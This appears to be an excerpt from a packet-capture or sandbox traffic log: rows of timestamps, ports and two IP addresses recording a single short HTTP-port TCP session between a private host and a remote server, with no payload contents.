Oct 24, 2024 08:38:23.110095024 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.110116005 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139230967 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139244080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139254093 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139270067 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139281034 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139282942 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139293909 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139295101 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139331102 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139342070 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139394999 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139405966 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139466047 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139481068 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139488935 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139492035 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139507055 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139528036 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139538050 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139597893 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139635086 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139637947 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139668941 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139688969 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139712095 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139722109 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139733076 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139748096 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139758110 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139848948 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139858961 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139890909 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139898062 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139935017 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.139969110 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139980078 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.139992952 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140002966 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140007973 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.140022039 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.140050888 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.140212059 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140264034 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.140295982 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140306950 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140316963 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140335083 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.140356064 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.140702009 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140723944 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140736103 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140743971 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.140747070 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140758991 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140773058 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.140800953 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.140852928 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140862942 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140873909 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140887022 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140894890 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.140898943 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.140903950 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.140935898 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.141169071 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.141180038 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.141191006 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.141204119 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.141211987 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.141236067 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.141258955 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.141275883 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.141297102 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.141309023 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.141314030 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.141326904 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.141345978 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.141352892 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.141382933 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.181632996 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.181652069 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.181669950 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.181682110 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.181693077 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.181721926 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.181754112 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.194222927 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.194245100 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.194255114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.194302082 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.194318056 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.223478079 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.223491907 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.223506927 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.223524094 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.223536015 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.223546982 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.223572969 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.223614931 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.223617077 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.223670006 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.223685980 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.223700047 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.223730087 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.223762989 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.225944996 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226023912 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226043940 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226054907 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226066113 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226075888 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226090908 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226114035 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226155043 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226166010 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226176977 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226201057 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226214886 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226226091 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226237059 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226249933 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226250887 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226274014 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226293087 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226380110 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226392031 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226402998 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226428986 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226454973 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226533890 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226545095 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226556063 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226567030 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226583004 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226607084 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226747990 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226758957 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226768970 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226794958 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226800919 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226804018 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226815939 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.226841927 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.226860046 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.227051020 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.227062941 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.227075100 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.227086067 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.227097988 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.227128029 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.256494999 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256517887 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256530046 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256541967 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256553888 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256567955 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256578922 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256584883 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.256592035 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256616116 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.256622076 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256650925 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256650925 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.256664038 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256669998 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.256696939 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.256767988 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256769896 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256776094 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256850004 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.256872892 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256886005 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.256916046 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.256942034 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.257108927 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257121086 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257133007 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257144928 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257158041 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.257186890 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.257327080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257338047 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257354975 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257365942 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257376909 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257378101 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.257389069 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257395983 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.257420063 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.257445097 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.257855892 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257868052 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257879972 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257910967 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.257935047 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.257946014 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.257985115 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.258021116 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258032084 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258040905 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258054018 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258069992 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.258071899 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258080959 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.258083105 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258100986 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.258121014 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.258240938 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258285046 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.258317947 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258366108 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.258507013 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258554935 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.258584976 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258596897 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258608103 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258620024 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.258629084 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.258657932 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.298935890 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.298948050 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.298954964 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.298966885 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.298973083 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.298985958 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.299159050 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.311389923 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.311403036 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.311414003 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.311419964 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.311444998 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.311449051 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.311459064 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.311485052 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.311513901 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.340810061 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.340821981 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.340841055 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.340852022 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.340862989 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.340873957 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.340876102 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.340879917 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.340892076 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.340912104 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.340970993 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343177080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343189001 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343199968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343244076 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343245029 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343264103 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343276024 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343286037 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343334913 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343362093 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343370914 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343380928 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343427896 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343445063 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343453884 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343496084 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343502045 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343513012 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343523026 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343554020 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343586922 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343589067 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343617916 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343630075 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343662024 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343677998 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343724966 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343729019 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343739986 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343750954 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343770027 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343795061 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343930006 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343947887 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343961000 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343971968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343974113 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.343982935 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.343993902 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.344007969 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.344038963 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.344187975 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.344199896 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.344218016 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.344230890 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.344233990 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.344254017 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.344270945 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.344355106 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.344373941 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.344398022 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.344415903 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.373492002 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373514891 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373524904 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373583078 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373585939 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.373594999 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373605967 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373622894 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.373651028 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.373651028 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.373760939 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373770952 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373812914 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.373828888 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373841047 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373852015 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373877048 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.373910904 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373909950 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.373955965 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.373961926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.373975039 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374006987 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374036074 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374118090 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374131918 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374150038 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374156952 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374162912 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374174118 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374176025 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374185085 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374187946 CEST	80	61010	185.215.113.16	192.168.2.5
